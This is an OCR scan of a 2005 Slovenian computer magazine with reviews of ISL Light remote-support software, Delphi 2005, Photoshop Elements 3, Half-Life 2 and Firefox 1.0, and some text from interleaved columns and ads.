ZoneAlarm Security Site je trenutno vse, kar potrebuje-
te za za¥cito, zdrufeno v enem programu.

Ales Farka$

Podjetje Zone Labs je poznano po brezpla¢nih lahkih

| ZoneAlarm Security Suite
Namenjen: Domacim uporabnikom in manjSim organizacijam
Za: Vse v enem za domaco zas¢ito racunalnika
Proti: Za zaGetnika preve¢ nastavitev in neznanih pojmov.
Cena: Akcijska cena 69,95 USD, sicer 94,90 USD (za dve leti)
Spletni naslov proizvajalca: www.zonelabs.com/

14 MOJ MIKRO 1 JANUAR 2005

ISL Light - ASP Subscription

POMOC NA DALJAVO

Zamislite si nasledniji polozaj. Ste podjetje, ki ponuja svoje storitve v
najem (outsorcing). Ker so stranke na razlinih krajih, porabite dnevno kar
precej Casa za prevoz od ene do druge. Poleg Casa izgubljate verjetno Se
kaj drugega. Ali ne bi bilo preprosteje, Ce bi vse postorili pred zaslonom v
zavetju svoje pisarne, pred racunalnikom in pri telefonu?

PiSeta: AleS Farka$ in Milan Siméié

ales.farkas@mojmikro.si, milan.simcic@mojmikro.si

rav to so imeli v mislih sno-

valci programa ISL Light

— ASP Subscription. Ta od-

jemal&ev racunalnik pripelje
na vas$ zaslon, kjer v miru postorite
to, kar stranka potrebuje.

XLAB IZ NEDRIJ INSTITUTA
JOZEF STEFAN

XLAB, d.o.o., je visokotehnolo-
ko podjetje, ustanovljeno leta 2001
kot odcepljeno podjetje (spin off)
Instituta JoZef Stefan. Glavni dejav-
nosti podjetja sta razvoj programske

se lahko stranka pri tefavah obrne na svojega
svetovalca, ki ji prek programa ISL Light hitro
in kakovostno svetuje pri uporabi programske
opreme, pomaga pri namestitvi programov in
podobno. Program omogoca tudi interdisci-
plinarno delo, kot je skupno oblikovanje raz-
li¢nih preglednic, na¢rtov in drugih dokumen-
tov, ter izmenjavo datotek. Pri komuniciranju
med stranko in svetovalcem je zagotovljena
popolna varnost izmenjave podatkov, saj se
ti prenagajo prek varne (SSL) povezave. Pro-
gramski paket ISL Light je mogo&e brezplatno
preizkusiti na spletnem naslovu www.epomoc.
net.
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opreme in svetovanje na podro&ju
informacijskih tehnologij. Z lastnim
znanjem so v XLAB-u v zadnjih treh
letih delovanja oblikovali pet raz-
vojnih oddelkov, v katerih sodeluje
20 sodelavcev. V letu 2003 so usta-
novili raziskovalno skupino (XLAB
Research) ter sklenili stratesko part-
nerstvo na raziskovalnem podrocju z
In3titutom JoZef Stefan in Univerzo
v Ljubljani.

SUETOVNO PRIZNANA
IZDELKA

Podjetje trenutno na globalnem
trgu nastopa z dvema svetovno pri-
znanima izdelkoma. Prvega so raz-
vili v okviru oddelka za telekomu-
nikacije in ra¢unalniske mre¥e — gre
za programski paket ISL Light, ki
omogoca dostop prek interneta na
ratunalni§ko namizje stranke. Tako

KAKO DELUJE

ISL Light - ASP Subscription deluje pre-
prosto. Seveda potrebujete najprej svojo re-
gistracijsko kodo, ki jo pridobite po vpla&ilu
licence. Z njihove spletne strani si prenesete
preprost program, ki ga poZfenete s svojimi
podatki. Ta se pove¥e v centralni stre?nik in
pridobi kodo, ki ponazarja Stevilko seje. Nato
samo Cakate na »¥rteve, da vas poklice. Ko
vas stranka poklice, ji poveste, da si mora s te
spletne strani prenesti odjemalcev del in vpi-
sati geslo, ki ji ga poveste vi. To je tista koda,
ki vam jo vrne va§ program.

Ko se vsi trije ra¢unalniki dogovorijo okrog po-
tankosti seje, se vase delo lahko za¢ne. Car celo-
tne zadeve je v tem, da ne odjemalec ne streznik
ne potrebujeta velikega in prostorsko ter pom-
nilnitkega zahtevnega programa, da bi celotna
izmenjava in delo potekala. Te¥ava bi bila lahko
morda le pocasna telefonska povezava stranke.

Marsikdo me bo takoj prijel za jezik in pri-
pomnil, da ¢ Windows XP omogoca delo in
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pomo¢& na daljavo prek drugega racunalnika.
To je res, vendar ali ima stranka kaj od tega?
Njen zaslon se pri tem delu zaklene in ne vidi,
kaj se dogaja. Pri skepti¢nih strankah z ob¢ut-
ljivi programi vam to gotovo ne bo uspelo, &e
pa se poverete prek oddaljenega nadzora, pa
morate biti v okviru iste skupine organizacij,
sicer to ne deluje. ISL Light odpravi te tezave.
Najpomembneje je, da lahko stranka v vsa-
kem trenutku prekine vase delovanje, kakor
tudi to, da lahko vse, kar po¢nete na njenem
raunalniku, vidi prav v tej obliki kot vi.

POMOC STRANKI

Celotna zadeva poteka nekako takole. Stran-
ka ima na voljo dve mo?nosti. Preprecevanje

kopiranja datotek (povleci in spusti) doseZe s
pritiskom na funkcijsko tipko F11. Z F12 pa
vam v vsakem trenutku lahko odvzame ob-
last nad tipkovnico in misko. Mimogrede naj
omenim, da deluje prenos datotek v obe sme-
ri. Ima pa seveda ISL Light ASP $e kar nekaj
dobrih lastnosti. Poleg tega, da lahko program
uporabljate iz katerega koli rad¢unalnika, tudi
javnega, se vasa mobilnost poveca. Delovanje
je mogoce tudi v obratni smeri. Kar pomeni, da
ni nujno, da se postavite samo v vlogo serviser-
ja, lahko ste tudi skupinska ekipa, ki dela pri
projektu znotraj ve&jih skupin. Tako si izme-
njujete namizja in seveda kakovostno opravite
svoje delo. Za razliko od operacijska sistema pa
se ISL Light ASP zna pogovarjati tudi v ve&

IZKUSNJE UPORABNIKOV

Anton Setnikar, www.turhosist.si:

»Pred dobrim letom smo iskali optimalno resitev za tehni¢no
podporo na daljavo, ki bi omogo&ala zadovoljivo tehni¢no izved-
bo, seveda v okviru realne vrednoti. Preizkusili smo kar nekaj to-
vrstnih izdelkov na svetovnem trgu, pri ¢emer smo seveda naleteli
na vrsto bolj ali manj uporabnih programskih resitev. Za ISL Light
smo se odlo¢ili iz ve& razlogov, med katerimi velja izpostaviti pred-
vsem realno ceno, dobro tehni¢no podporo ekipe XLAB in razvoj
izdelka, skladno z realnimi ?eljami in potrebami strank.

Gotovo obstajajo tudi razlogi za manje nezadovoljstvo, vendar
jih skoraj nima smisla poudarjati, ker bodo po dosedanjih izkus-
njah v novem paketu ¥e odpravljeni.

Program deluje skoraj brezhibno, v prejsnjih razli¢icah se je po-
javljalo nekaj napak, a samo pri slabsih povezavah v internet. V
zadnji razli¢ici pa nismo naleteli na te¥ave, edina pomanjkljivost
je, da nekaterih sistemskih oken ne moremo videti prek vmesni-
ka, vendar to velja zgolj za starejse razli¢ice operacijskih sistemov
Windows.

Odjemalec ISL Light je postal del vsakdanjika, naSe stranke so
delefne najhitrejSe pomoti, zniZali pa so se tudi stroski, ki so jih
pred uvedbo podpore na daljavo prinasali terenski servisi, s tem pa
se je tudi zni¥ala cena storitve za konéne stranke. «

Srecko Strucl, GLIP, d.o.0. Maribor:

»ISL Light uporabljam dobro leto dni. Z njim sem spremenil
vzdrievanje nase programske opreme v tolik$ni meri, da me zdaj
stranke spra3ujejo, ali bom e sploh prigel kdaj do njih. Na zadetku
smo imeli te¥ave z nekaterimi strankami, ker niso zaupale v varnost
povezave, a program deluje odli¢no in stopenj zas¢ite podatkov je
toliko, da po mojem ustreza vsem vrstam uporabe.

Ker $e nimamo izdelanega sistema za spremljanje opravljenih
storitev, je zdaj tefava v tem, da moramo veliko dela opraviti ro¢-
no (napisati delovni nalog, ga po faksu poslati stranki in &akati na
potrjen odgovor, da lahko izdamo racun). Kjer je le mogoce, spod-
bujamo uporabo tega programa, ki je res kakovosten in enostaven
za rabo. Uporabljamo ga pri strankah, ki imajo operacijske sisteme
Windows 98, NT, 2000 in XP. Uporabljali smo telefonsko pomo&
pri te¥avah na zacetku uporabe programa. Pomo¢ je kakovostna in
hitra.«

ISL Light - ASP

Namenjen: Oddaljena pomoc, delo, ucenje in Se marsikaj drugega.

Za: Dober in preprost program, ki zapolni tisto, Cesar sam operacijski sistem ne zna.
Proti:

Cena: 390 EUR

Spletni naslov proizvajalca: www.xlab.si

Posodil (prodaja): XLAB, d.o.0.

jezikih, ki niso nujno
vezani na tistega v ope-
racijskem sistemu. Pod-
prti so naslednji jeziki:
sloveni¢ina, anglei¢ina,
nems¢ina, italijani¢ina,
francos¢ina, $panicina,
$veditina in nizozems&i-
na. Vmesnik omogoda
tudi komunikacijo prek
samega sebe. Se pra-
vi, da imate v program
vdelan tudi pogovorni
(chat) program. Tako
vam ne bo treba ves ¢as

ISL Light - ASP Subscription

presedeti tudi pri telefonu.

ISL Light omogo&a teoreti¢no povezljivost
v kateri koli ra¢unalnik v okviru svetovne-
ga spleta, seveda oba morata biti povezana v
omreije.VZal je omejen na okolji Windows in
Linux. Ceprav so programi tako na strankini
kot na vasi strani zelo majhni, se lahko poja-
vijo te¥ave z dostopnostjo enega do drugega.
Ce imate pofarne zidove in razli¢ne filtre, bo
treba odpreti vrata 7612 in 7615, pa& odvisno
od tega, kam gre povezljivost. Celotna seja je
tudi ifrirana s protokolom SSL.

Nedvoumno je ISL Light dober in preprost
program, ki poskrbi namesto vas za povezljivost
dveh oddaljenih ra¢unalnikov. Vasa odlogitev
pa je, za kaj ga boste uporabljali. Ce recimo od-
pove »¥ica«, se boste morali vseeno pripeljeti
do stranke. Prav tako verjetno ne boste tega
uporabljali tam, kjer Zelite imeti pristen stik
s stranko. Vsepovsod drugje pa bo ISL Light
verjetno dobrodogel. B
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Z enim klikom .
do oddaljenega namizja
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ASP Subscription

15 dni 5L Ligh' ASP Subscription je soletng stonites
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Borland Delphi 2005 Arhitect

v v v

PRENOVLJENO PROGRAMERSKO PREROGISGE

Podjetje Borland je Ze dolgo v igri z izdelavo predvsem kakovostnih programskih orodij, ki temeljijo na hitrem razvoju programov.
V zaCetku so to bila samo razvijalska orodja, ki so programerjem ponujala dobro osnovo za delo. V zadnjem Casu pa se poleg te
naloge ukvarjajo tudi z zivljenjskim ciklom izdelka, od njegove najzgodnejSe zasnove pa vse do konca poti.

PiSe: AleS Farkas$
Ales.farkas@mojmikro.si

rogramerska industrija je tista, ki nosi ra-
¢unalnidtvo. Ce bi vsi programeriji odsli
v pokoj, bi industrija programske opreme
obstala na mrtvi tocki. Ce pa uporabni-
ki %elimo ¢im bolj$a in ¢im bolj izpopolnjena
orodja, morajo programerji poleg dobrega zna-
nja svoje vesine imeti tudi dobra orodja, da
znanje izlijejo v dejanja. In eno od teh je novi

Borlandov Delphi 2005.

VEG OKOLIJ V ENEM

Delphi 2005 po novem vklju€uje podporo
tako za okolje Win32 kot tudi za .NET. Delphi
je pobral vse najboljse od predhodnikov (7 in
8) in, pozor, C#. Da, prav ste prebrali, kon&no
so se odlotili, da svoja orodja zapedejo v neko-
liko sodobnejsih okoljih in za¢nejo zdruZevati
to, kar imajo. Podobno kot to po¢ne konkuren-
ca. Oba programska jezika sta zapefena v eno
ogrodje za celoten razvoj in razhro$éevanje.
Skoda je, da recimo ne moremo pisati malo v
enem, malo v drugem jeziku, pa¢ glede na du-
Sevno stanje razvijalca, temved se moramo odlo-
&iti, preden za¢nemo razvoj. V katerem ogrodju
(Pascal 32, Pascal .NET, C# .NET) delate, vas
bo opozorila ikona v naslovni vrstici. Za vsako
imate na voljo svojo. Mimogrede, &e imate na-
medcen tudi prevajalnik za Visual Basic, ogrodje
zna delati tudi z njim.

I1ZBOLJSANA ORODJA

Vendar pa to ni edina sprememba glede na
predhodnike. Zelo veliko jih je, tako glede vide-
za, miselnih okolij in vsega, kar programer vidi,
kakor tudi nevidnega dela, ki pa ga ob&uti pri
delu. Mo¢no je popravljeno varnostno kopira-
nje razli¢ic v projektnih mapah. Kon¢nico tilda
je zamenjal podértaj in v teh datotekah so vde-
lani %e nekak$ni kontrolniki razli¢ic, ki vodijo
tudi stare prepise (privzeto je 10 shranjevan;j).
Omogo&eno je tudi njihovo pregledovanje zno-
traj ogrodja. Seveda vam je na voljo tudi hi¥no
orodje za vodenje projektov oziroma moZnost

kupiti nove komponente,

nadgradnje na kaksnega e obstojeih.

Sync Edit vam omogoca, da zamenjate vse
istoimenske objekte v kodi z eno potezo. Error
Insight vam bo poleg oznatene napacne kode
dal 3e navodila za njeno odpravo. V struktur-
nem pregledu boste lahko pregledali vse napake
na enem mestu. Help Insight so dopolnili in
zdaj prikazuje %e dve okni. V prvi so obi¢ajno
lastnosti, postopki, metode itd. Drugo vzpored-
no okno pa pokaZe dodatne informacije o iz-
branem. Precej so spremenili prikaz nekaterih
oken. Marsikomu iz stare $ole morda to ne bo
vied. V glavnem gre za kozmeti¢ne in miselne
predstavitve, kakor tudi za poenotenje vseh
ogrodij znotraj hise.

Popravljeno je iskanje. Zdaj vam to vrne po-
leg iskanih nizov e marsikaj drugega, kar boste
potrebovali. Popravili so orodno vrstico. S pri-
tiskom na prvo &rko se seznam izbir zmanjsa le
na izbrane. S pritiskom na Enter pa se prestavi
na razvojni pladen;.

Seveda so omogotili selitev s starih programov
Win32 na novo osnovo .NET oziroma s starih
programov na nove na isti osnovi. Spremenjene
so tudi nekatere lastnosti jezika (For .. in .. do),
dodali so Multi-Unit Namescpace, kar je bila
velika te¥ava prej¥nje razli¢ice. Dodali so nekaj
novih %¥e pripravljenih komponent, vendar ni&
pretresljivega. V vsakem primeru bo treba spet

Vel Informcid] In cenlizl:

MNADOGRADMIE IN NOVI RACUNALNIKII

Vrhunska kvaliteta,
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g e P e R e = o &ih ni ogromnih sprememb.
S Homem - = K
o AR i Dodali so popolno podporo
- R A 4 osnovi ADO.NET in zani-

mivo moznost — testiranje
shranjenih procedur, kjer
klica ni treba preizkusati na podatkih, pa¢ pa
samo na testni osnovi, ki ne naredi ni¢, razen
tega, da preizkusi mo¥nosti delovanja. Seveda z
%elenimi vhodnimi podatki.

SPLETNI RAZVOJ

Pri spletnem razvoju je nov urejevalnik pro-
jektov, ki vam omogoca pregled, dodajanje in
urejanje projektov v lokalnem ali oddaljenem
stre¥niku. Dobili smo tudi kopico novih kom-
ponent za gradnjo spletnega dela strani. Slednje
so programerji doslej v Delphiju kar nekako za-
nemarjali, z mo¢no podporo za NET pa se uteg-
ne tudi to spremeniti.

Vsi, ki razvijate vedje projekte, se boste raz-
veselili izpopolnjenega sistema ECO I1. Mo?na
je tudi kombinacija okolij ASPNET in ECO
II pri gradnji spletnih storitev. Da pa Delphi
ni ozko vezan samo na ogrodje .NET, dokazuje
tudi podpora za CORBO in J2EE. Vse skupaj
poteka prek povezave z Janevo, ki je Borlando-
va refitev za »srednji del«.

Borland je spet dokazal, da je mojster v svo-
jem poslu. Cele programirate v enem od jezikov
(pascal, C#) in ste %e imeli kak§no Borlandovo
ogrodje, si novega le omislite in preizkusite —
verjetno vam ne bo %al. Vsekakor je to novo
orodje eno pomembnejsih od njegovega na-
stanka. Rabi lahko tako osebnemu programira-
nju kot tudi skupinskemu delu. B

Borland Delphi 2005 Arhitect

Namenjen: Celotnemu ciklu razvoja in vzdrZevanja
lastnih programov

Za: Se vedno odli¢no in hitro orodje

Proti: ManjSe napake, za kar pa so Ze obljubljeni
popravki

AMD XP

2600+ "7

brezplacna dostava po
viej Sloveniji in seveda
dostopne cene |

CEMPUTERS

TEL [Ba] el 1788
FAL {3} BPE 1133

Cena: Arhitect 720.000 SIT, nadgradnja 480.000 SIT
Spletni naslov proizvajalca: www.borland.com
Posodil (prodaja): Marand, d.o.o., Ljubljana
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ALBUM IN STUDIO SKUPAJ

Adobe Photoshop Elements je namenjen digitalnim fotografom. Medtem ko so bile
prejSnje razlicice namenjene le obdelavi fotografij, najnovejSa vsebuje tudi Photoshop
Album, torej urejevalnik digitalnih zbirk oz. foto album. S tem je Photoshop Elements
postal vsestransko orodje za naSe digitalne fotografije.

Pise: Jernej Pecjak P —
jernej.pecjak@mojmikro.si G B
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be komponenti sta

$e vedno samostojni,

vendar je Adobe do-

bro poskrbel za pre-
hajanje iz ene v drugo. Ko
v foto albumu poig¢emo ali
opazimo sliko, ki jo Zelimo
obdelati, jo s klikom poglje-
mo v grafi¢ni urejevalnik,
po koncanem delu pa se sli-
ka v albumu namesti na isto
mesto, kjer je bila prejinja,
ta pa se shrani v obliki sta-
rejie revizije. Prehodi med
obema programoma so tako
precej »neboledi« in skoraj
neopazni.

Po zagonu programa se
prika’e uvodni meni, ki
pomaga pri odlocitvi, kaj
pravzaprav %elimo z njim po&eti. Lahko si ogle-
dujemo in organiziramo slike, jih na hitro po-
pravimo, izbolj§ujemo in dopolnjujemo ali pa iz
slike ustvarimo svojo mojstrovino, kot so foto
pregledovalnik z glasbo in napisi (slideshow),
vo¥tilnica s sliko, kartica, koledar, spletni foto
album ipd. Na voljo je ve¢ predlog, s katerimi
zelo hitro ustvarimo neverjetne izdelke iz nasih
slik. Med novostmi je izdelava interaktivnega
foto albuma, ki ga posnamemo na video CD in
predvajamo z DVD-predvajalnikom.

ZMOGLJIVI ALBUM

Z orodjem Organizer, ki je tako nadomestil
Photoshop Album, lahko slike uvozimo iz foto-
aparata, telefona, razli¢nih medijev, lahko pa jih
tudi opti¢no preberemo. Mape na disku lahko
oznacimo kot nadzorovane, kar pomeni, da bo
program sam zaznaval nove fotografije v njih.
Na voljo so vse mo¥nosti, ki jih ¥e poznamo,
kot so iskanje slik po klju¢nih besedah, zbirkah
ali koledarju, tiskanje slik in njihovo posiljanje
po elektronski posti. Povecevaje (zum) je zelo
pregledno, saj je zvezno, vse fotografije iz zbirke
se povecujejo in pomanjsujejo v stvarnem casu.
Osnovne lastnosti slik lahko izboljsamo kar v
tem delu programa, denimo kontrast, svetlost,
ostrino, izrez in nekatere druge.

SE ZMOGLJIVEJSI UREJEVALNIK

Za vel pa je treba na pomo¢ poklicati Ele-
ments 3 Editor, drugi pomembni modul. Ta je
postal precej zmogljiv, saj iz Photoshopa prina-
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urejevalnikom.

Urejevalnik slik zna vse, kar je znal Photoshop
Album 2, pa Se nekaj dodatnih moznosti ima,
predvsem pa je dobro povezan z grafiénim

$a kar nekaj moc¢nih
orodij, kot je »zdra-
vilni Copi¢« Healing
Brush s katerim zelo
preprosto odstranimo
napake s fotografij,
izbolj§ano pa je tudi
odstranjevanje  rde-
&ih o¢i. Funkcije pag,
ki so nepogresljive
pri popravljanju na-
gih slik. Kon&no smo
dotakali tudi podpo-
ro surovemu (RAW)
zapisu digitalnih slik,
ki je precej boljsi zapis
kot JPG, omogocajo
pa ga nekateri foto-
aparati. Podpora 16-bitnim slikam je prav tako
vkljuéena, eprav gre za profesionalno mo¥nost
iz programa Adobe Photoshop CS. Seveda ima
urejevalnik tudi vse druge mo¥nosti, od dela s
plastmi (layers), zbirko ve¢ kot sto filtrov, zdru-
Yenih v galerijo za kombinirane u¢inke. Nekaj
je tudi novih orodij kot je Cookie Cutter, s
katerim lahko slike obre¥emo v razli¢ne pred-
nastavljene oblike, podobno kot iz testa izre-
Yemo piskote. Iz video datotek lahko uvozimo
posamezne slike, tiskanje pa ima nekatere moz-
nosti, ki jih nima niti Photoshop, denimo Print
Multiple, s katerim na eno stran natisnemo vec
slik, ki jih celo obdamo z okvirjem.

Zaletniki bodo najbolj veseli na¢ina Quick

slik hkrati.

Adobe Photoshop Elements 3
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Pri prvem srec¢anju s Photoshop Elements se
odlo¢imo, kaj pravzaprav Zelimo od programa.

Fix z novim grafi¢ni vmesnikom, prirejenim
prav zanje. Gre pravzaprav za isti program, le
da so meniji in gumbi prilagojeni za¢etnikom
in poenostavljeni. Prehod med obema nacino-
ma dela (standardnim in Quick Fix) je skoraj
trenuten.

Ceprav lahko s paketom Photoshop Elements
3 potnemo skoraj karkoli v zvezi z digitalnimi
fotografijami (smo %e omenili, da lahko zbirko
posnamemo tudi na CD?) smo pogresali neka-
tere moznosti, kot sta tiskanje CD-ovitkov in
tisk na plogce.

Sicer pa je Adobe naredil izjemen program za

Grancm urelevalmk Elements 3 spominja na Photoshop CS, od njega je tudi pobral
kar precej orodij, ima pa nekaj dodatnih moznosti, kot je tiskanje vecjega Stevila

urejanje in obdelovanje digitalnih fotografij, ki
je tako zmogljiv kot tudi stabilen. Tudi cena je
glede na zmoZnosti vec kot poStena.

| |

Adobe Photoshop Elements 3

Kaj: Urejanje in obdelovanije digitalnih fotografij
Za: Veliko moznosti uvoza, izvoza in obdelave slik;
poseben vmesnik, prilagojen zacetnikom; cena
Proti: Ne moremo tiskati ovitkov za medije; ne
moremo tiskati na ploSce; potrebujemo zmogljiv
racunalnik in novejSi operacijski sistem

Operacijski sistem: Windows 2000 XP, Power Mac
CGena: 100 dolarjev

Spletni naslov proizvajalca: www.adobe.com
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PREIZKUSILI SMO ...

Half-Life 2

DRUGO POLZIVLJENJE |

Tezko priCakovana igra, ki je glede na prvi del obljubljala
veliko. Kaj nam ponuja tokrat? Z gotovostjo lahko recem,
da res veliko in da nas bo prikovala za racunalnik za ure in

ure, ¢e Ze ne dneve.

Pise: Milan Siméié
Milan.simcic@mojmikro.si

isti, ki se $e spominjate prve epizode, od
katere je preteklo Ze Sest let, boste takoj
vedeli, zakaj gre in za&eli igro. Tisti, ki se s
»polfivljencem« srecujete prvi&, pa boste
morda v zaletku kar precej razoCarani, saj nas
zaletek igre postavi na vlak, s katerim smo se
ravnokar pripeljali na postajo v mestu City 17.
[zstopimo brez kakr$nega koli oro¥ja v roki in se
sprehodimo po postaji, kjer je vse polno varnost-
nikov, ki nas tudi s silo usmerjajo na pravo pot.
Nobene akcije, nobene borbe boste rekli. To pa
res ni streljaska igra, kot smo jih vajeni. Res je.
Najprej se je treba prebiti do prave obleke, ki je
Gordonu Freemanu $e vedno kot ulita.

S teleportom in nekaj iznajdljivosti pride-
mo do prvega oro%ja v obliki kovinske palice
(crowbar). V neposrednem dvoboju, ko pokon-
¢amo prvega varnostnika, pridemo do pistole,
s katero pa si lahko %e bolje pomagamo. Od tu
dalje bomo v stalni nevarnosti pred razli¢nimi
nasprotniki. Ve&ina jih je ¥e znanih iz prvega
dela, nekaj pa je tudi novih.

ODLICNA GRAFIKA IN ZVOK

V vsej igri bomo resni¢no uZivali v izvrst-
ni grafiki, vklju¢no z teksturami. Tudi zvo&ni
ucinki niso zanemarljivi, saj vse skupaj kot
celota deluje zelo realisti¢no. Ce igramo na
dovolj velikem zaslonu (imel sem moZnost
preizkusiti 23-pal¢nega) se nam dejansko zdi,
da smo del dogajanja. Zvok prihaja iz razli¢-
nih smeri, odvisno od tega, kako smo obrnjeni.
Grafika je odli¢na. Za realnost pa $e dodatno
poskrbijo predmeti, ki se obnasajo po fizikal-
nih lastnostih. Kamenje ima te¥o, sodi so vo-
tli in plavajo na vodi. Njihov vzgon dviguje
bremena in podobno. Eksplozije povzrocijo, da
predmeti v bliZini letijo po zraku, odvisno od
tega, kako blizu in tezki so.

NEKAJ MINUSOV

Pri celotni igri nekoliko zmoti le dejstvo, da
se igra odvija na en sam predvidljiv na&in. Pot
je natan¢no dolo¢ena in z nje ne moremo skre-
niti. Druga pomanjkljivost, ki sem jo opazil, pa
so prehodi med ravnmi. Recimo, ko se gibljemo
po kanalu in je na sredini kanala prehod med
ravnema, se helikopter ne more premakniti z
ravni na raven. Sredina kanala je nekak$na ne-
vidna ovira, prek katere ne more. Tudi vozilo, s
katerim se vozimo naokoli, je neuniéljivo, kar
je v nasprotju z fizikalnimi zakoni. Res pa je, da
v nasprotnem primeru ne bi pri§li prav dale&.
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Vse kaZe na to, da so
razvijalci trdo delali
ves Cas, Ceprav so jim
del kode pred kratkim
ukradli in so ta del
morali napisati znova.

STOPNJE
ZAHTEVNOSTI

Igra ima sicer tri zahtevnostne stopnje,
vendar se utegne zgoditi, da nekaterim ne bo
uspelo niti na najlaji, saj vse vendarle ni tako
trivialno, kot bi si mislili. Od ¢asa do ¢asa nas
igra prav preseneti in moramo kar malo pomis-
liti, kako se bomo prebili &ez katero izmed ovir.
Tisti, ki jim to nikakor ne bo uspelo, lahko po-
brskate v internetu in nasli boste kopico kod
za goljufanje, s katerimi si boste povecevali
koli¢ino strelivo ali oro¥ja. Z nekaj ukazi boste
spet zdravi kot na zacetku. Najti pa je mogoce
tudi razlicna bolj ali manj kakovostna navo-
dila, kako priti do konca igre brez odvecnega
premisljevanja. Res pa je, da v tem primeru
igra izgubi pravi smisel in &ar.

ZASCGITA

Poleg vseh kakovosti igre so se programerji
tudi zelo potrudili pri zas¢&iti proti kopiranju
in piratstvu. To spoznamo %e ob namestitvi, ki
zaradi tega poteka pocasneje, kot bi sicer lah-
ko. PolZivljenca 2 dobite na enem DVD-ju ali
na petih CD-jih. Namestitev poteka v dveh
delih. Najprej se namestijo osnovne datoteke,
ki jih nato na podlagi registracije drugi del na-
mestitve Se odkodira. Vse skupaj poteka pre-
cej asa. Po ob¢utku bi dejal kak$no uro. Po
mojih izkugnjah igre ne morete igrati, e niste
priklju¢eni v internet. Vsaj meni to ni uspe-
lo po legalni poti. Zagito za igro je prispevalo
podjetje Steam, ki se ukvarja z tovrstnimi pro-
jekti. Zal pa je vsakrina zaiita le zatasna, saj
se kaj kmalu najde kdo, ki jo zna zaobiti. Tako
je bilo tudi v tem primeru, saj je bilo mo¢ %e
pred uradnim izidom 16. decembra najti igro
Half-Life 2 v internetu z odstranjeno za$¢ito.
Se posebej je bilo to motege, ker so tisti, ki so

Half-Life 2

Kaj: Najbolj$a strelska igra vseh ¢asov

Za: Odlicni uinki, grafika, zvok. Nasprotniki znajo misliti.
Proti: Nepotrebna zad€ita, ki upo€asni namestitev.

Za igranje morate biti prikljuceni v internet.

Cena: 9400 Sit

Posodil in prodaja: Mantis plus, d.0.0., Ljubljana;
www.mantisplus.com

Spletna stran igre: www.half-life2.com

Spletna stran proizvajalca: www.valvesoftware.com

igro legalno kupili, imeli precej problemov pri
namestitvi, saj se je strefnik za overjanje kaj
kmalu »obesil« zaradi prezasedenosti postenih
ljudi. Pirati pa so brez te¥av u¥ivali v igranju.
Se torej res splata narediti tako zas¢ito?

DODATNI UZITKI

Pred kratkim je iz8el $e dodatek Deathmatch,
ki ponuja $e dodatne uZitke. Za ceno dodatnih
30 MB, ki jih prenesemo prek omre¥ja, se lah-
ko priklju¢imo v razli¢ne stre?nike po svetu in
se preizkusimo, kako dobri smo. Sam se nika-
kor ne Stejem med tiste, ki ure in ure prefivijo
ob strelskih obracunih, zato moj rezultat niti
ni omembe vreden. Vsem tistim, ki jim je to
v uZitek, pa predlagam, da si najprej naloZijo
strefnik in se sami sprehodijo skozi dve ravni,
ki sta na voljo. Prebrskati je namre¢ treba vse
koti¢ke in vse dodobra spoznati, ker potem v
pravem obradunu za kaj takega ne bo ¢asa. B

nadzornik mobilnikov Sony Ericsson

floAt’s
Mobile |- -
Agent |_=

N ekateri proizvajalci mobilnih telefonov %e od

nekdaj uporabnike zalagajo tudi s program-
sko opremo, ki omogo&a povezavo telefona v
raunalnik ter prenasanje, urejanje, ustvarjanje da-
totek, stikov, sporotil, sinhronizacijo z raznimi pro-
grami ... Nokia je bila zagotovo med prvimi, ki je
$irsi javnosti ponudila Nokia PC Suite, program, ki
je osebnim ratunalnikom omogo¢al komunikacijo
z danes ¥e zastarelimi prvimi mobilnimi telefoni.
Komunikacija je najprej potekala prek kablov (pri-
klop v vrata COM — RS232), nato prek infrarde-
&e, v zadnjih letih pa prek povezave bluetooth. Kar
nekaj proizvajalcev telefonov, Se zlasti v srednjem
in ni¥jem cenovnem razredu, pa Se danes ne omo-
gota povezovanje telefona z ratunalnikom.
Sony Ericsson sicer ima nabor programov za
komunikacijo med ra¢unalnikom in telefonom,



PREIZKUSILI SMO ...

Firefox 1.0

BRSKALNIK PO MERI UPORABNIKOV

Spletni brskalnik Firefox temelji na Mozillinem jedru Gecko, torej je neke vrste
naslednik Netscapa. Po mesecih preizkusnih razlicic smo le doCakal koncno.

PiSe: Jernej Peéjak
jernej.pecjak@mojmikro.si

lavne odlike tega brskalnika so majhna

sistemska obremenitev (namestitvena

datoteka ima manj kot 5 MB), hitrost

prikazovanja strani in varnost. Prav
slednje je trn v peti Microsoftovemu Internet
Explorerju 6, ki se tedensko sreCuje z varnost-
nimi tefavami, poleg tega pa je nadgradnja na
voljo le v paketu SP2 za Windows XP. Ce k
temu dodamo $e to, da je osnovna razli¢ica
Internet Explorerja 6 stara Ze nekaj let, hitro
obc¢utimo potrebo po dobrem brskalniku. Kot
vse kaZe, smo ga s Firefoxom dobili, vprasanje
je le, ali bo lahko odvzel trini dele? Internet
Explorerju, ki ga $e vedno uporablja devet od
desetih uporabnikov.

PREPROST IN ZMOGLJIV

Namestitev je zelo preprosta, iz drugih br-
skalnikov lahko prenesemo piskotke, zgodovi-
no, gesla in priljubljene povezave. Firefox na
prvi pogled deluje zelo preprosto, saj je upo-
rabniski vmesnik pregleden in brez odve¢nih
gumbov in menijev. Vendar pa se v njem skri-
va moéno jedro, ki zelo hitro prikazuje spletne
strani. V orodni vrstici hitro zasledimo poseb-
no vnosno polje, ki i§¢e po priljubljenih sveto-
vnih iskalnikih, seznam pa lahko nadgradimo
iz ogromne zbirke v internetu (na voljo so tudi
slovenski iskalniki). Tudi sicer je ena od od-
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Firefox je sodoben in zmogljiv brskalnik z modularno
zasnovo, ki si ga lahko prilagodimo svojim Zeljam in potrebam.

lik Firefoxa modularna zasnova. Nadgradimo
in spremenimo lahko skoraj vse, od preoblek
do dodatnih mo?nosti, kot sta IRC in novicar-
ski odjemalec, izbolj$ano blokiranje nadle?nih
oken (osnovno je %e v samem Firefoxu), igre,
dodatki za krmarjenje po straneh ipd. Za nala-
ganje dodatkov nam ni treba biti strokovnjak,
saj se shranijo in namestijo samodejno, celo
posodabljajo se lahko brez nage pomoti.

ZAVIHKI, FLASH, VARNOST ...

Firefox tako kot Opera uporablja zavihke. Z
njimi lahko odpremo ve¢ strani naenkrat, ne

vendar je ta namenjen le poslovnim in draZjim
telefonom, ne pa tudi cenejsim. Zato je prav za-
nimiv program floAt’s Mobile Agent (FMA), ki
omogoda Siroko uporabnost lastnikom telefonov
Sony Ericsson, predvsem serije T (T610, T630),
s katerima smo program tudi preizkusili. Odprto-
kodni, brezpla¢ni program je mo¢ sneti iz inter-
